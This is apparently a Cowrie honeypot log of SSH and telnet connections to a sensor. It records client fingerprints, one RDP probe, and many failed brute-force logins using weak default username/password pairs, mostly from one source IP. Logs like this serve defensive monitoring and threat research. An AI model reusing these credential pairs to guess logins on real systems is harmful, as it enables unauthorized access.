dsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:00.779445Z","src_ip":"45.156.87.69","session":"925297ff94f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"123456","password":"123456","message":"login attempt [123456/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:01.507150Z","src_ip":"45.156.87.69","session":"925297ff94f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:02.632568Z","src_ip":"45.156.87.69","session":"925297ff94f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":21374,"dst_ip":"159.203.135.109","dst_port":22,"session":"275eb5d9f2ac","protocol":"ssh","message":"New connection: 45.156.87.69:21374 (159.203.135.109:22) [session: 275eb5d9f2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:04.315341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:04.318999Z","src_ip":"45.156.87.69","session":"275eb5d9f2ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:04.410790Z","src_ip":"45.156.87.69","session":"275eb5d9f2ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:04.779136Z","src_ip":"45.156.87.69","session":"275eb5d9f2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60736,"dst_ip":"10.17.0.5","dst_port":23,"session":"75286d4e63bd","protocol":"telnet","message":"New connection: 152.42.224.71:60736 (10.17.0.5:23) [session: 75286d4e63bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:05.496320Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:05.863939Z","src_ip":"45.156.87.69","session":"275eb5d9f2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":48800,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3294f9cc573","protocol":"ssh","message":"New connection: 45.156.87.69:48800 (159.203.135.109:22) [session: f3294f9cc573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:07.972120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:07.977984Z","src_ip":"45.156.87.69","session":"f3294f9cc573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:08.076351Z","src_ip":"45.156.87.69","session":"f3294f9cc573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"saman","password":"s","message":"login attempt [saman/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:08.756023Z","src_ip":"45.156.87.69","session":"f3294f9cc573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:09.841099Z","src_ip":"45.156.87.69","session":"f3294f9cc573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.32912564277649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:09.948925Z","src_ip":"152.42.224.71","session":"926120f93044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":48812,"dst_ip":"159.203.135.109","dst_port":22,"session":"44050f96f85c","protocol":"ssh","message":"New connection: 45.156.87.69:48812 (159.203.135.109:22) [session: 44050f96f85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:11.324453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:11.329715Z","src_ip":"45.156.87.69","session":"44050f96f85c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:11.420817Z","src_ip":"45.156.87.69","session":"44050f96f85c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"p@ssw0rd","message":"login attempt [nginx/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:12.056139Z","src_ip":"45.156.87.69","session":"44050f96f85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:13.142358Z","src_ip":"45.156.87.69","session":"44050f96f85c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":48820,"dst_ip":"159.203.135.109","dst_port":22,"session":"79e968acddae","protocol":"ssh","message":"New connection: 45.156.87.69:48820 (159.203.135.109:22) [session: 79e968acddae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:15.103702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:15.109654Z","src_ip":"45.156.87.69","session":"79e968acddae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:15.202400Z","src_ip":"45.156.87.69","session":"79e968acddae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:15.720322Z","src_ip":"45.156.87.69","session":"79e968acddae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:16.805899Z","src_ip":"45.156.87.69","session":"79e968acddae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":54902,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa63559ebd0","protocol":"ssh","message":"New connection: 45.156.87.69:54902 (159.203.135.109:22) [session: daa63559ebd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:18.727246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:18.732261Z","src_ip":"45.156.87.69","session":"daa63559ebd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:18.848008Z","src_ip":"45.156.87.69","session":"daa63559ebd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:19.433539Z","src_ip":"45.156.87.69","session":"daa63559ebd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:20.518975Z","src_ip":"45.156.87.69","session":"daa63559ebd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61423,"dst_ip":"10.17.0.5","dst_port":22,"session":"80571163e46c","protocol":"ssh","message":"New connection: 152.42.212.128:61423 (10.17.0.5:22) [session: 80571163e46c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:21.937925Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:21.943239Z","src_ip":"152.42.212.128","session":"80571163e46c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:21.946955Z","src_ip":"152.42.212.128","session":"80571163e46c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":54910,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cb39d1883f8","protocol":"ssh","message":"New connection: 45.156.87.69:54910 (159.203.135.109:22) [session: 7cb39d1883f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:22.404580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:22.423549Z","src_ip":"45.156.87.69","session":"7cb39d1883f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:22.523545Z","src_ip":"45.156.87.69","session":"7cb39d1883f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:22.931745Z","src_ip":"45.156.87.69","session":"7cb39d1883f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:24.104963Z","src_ip":"45.156.87.69","session":"7cb39d1883f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":54916,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a11dba94aeb","protocol":"ssh","message":"New connection: 45.156.87.69:54916 (159.203.135.109:22) [session: 5a11dba94aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:26.140924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:26.150037Z","src_ip":"45.156.87.69","session":"5a11dba94aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:26.248728Z","src_ip":"45.156.87.69","session":"5a11dba94aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111111","message":"login attempt [root/111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:26.585129Z","src_ip":"45.156.87.69","session":"5a11dba94aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.734880208969116,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:27.338212Z","src_ip":"152.42.224.71","session":"4336d63fb4ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:27.706292Z","src_ip":"45.156.87.69","session":"5a11dba94aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":48754,"dst_ip":"10.17.0.5","dst_port":23,"session":"7629b821bfb8","protocol":"telnet","message":"New connection: 213.108.3.46:48754 (10.17.0.5:23) [session: 7629b821bfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:28.979209Z"}
{"eventid":"cowrie.session.closed","duration":0.0136260986328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:28.992706Z","src_ip":"213.108.3.46","session":"7629b821bfb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":17370,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd2fbf69ceb","protocol":"ssh","message":"New connection: 45.156.87.69:17370 (159.203.135.109:22) [session: 0cd2fbf69ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:29.724246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:29.729047Z","src_ip":"45.156.87.69","session":"0cd2fbf69ceb","protocol":"ssh"}
